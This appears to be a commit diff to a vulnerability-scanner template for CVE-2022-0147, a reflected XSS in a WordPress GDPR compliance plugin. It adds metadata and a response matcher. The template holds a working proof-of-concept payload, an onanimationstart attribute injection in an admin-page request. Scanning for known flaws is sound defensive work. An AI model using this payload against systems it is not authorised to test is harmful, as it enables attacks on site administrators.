Update CVE-2022-0147.yaml
parent
b81dcce70b
commit
d89fc91f50
|
@ -15,7 +15,9 @@ info:
|
|||
cvss-score: 6.1
|
||||
cve-id: CVE-2022-0147
|
||||
cwe-id: CWE-79
|
||||
tags: cve,cve2022,wordpress,wp-plugin,xss,wp,cookieinformation,authenticated
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated,wp-gdpr-compliance
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
|
@ -28,6 +30,7 @@ requests:
|
|||
- |
|
||||
GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
@ -35,6 +38,7 @@ requests:
|
|||
part: body
|
||||
words:
|
||||
- "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
|
||||
- "toplevel_page_wp-gdpr-compliance"
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
|
@ -43,4 +47,4 @@ requests:
|
|||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 200
|
||||
|
|
Loading…
Reference in New Issue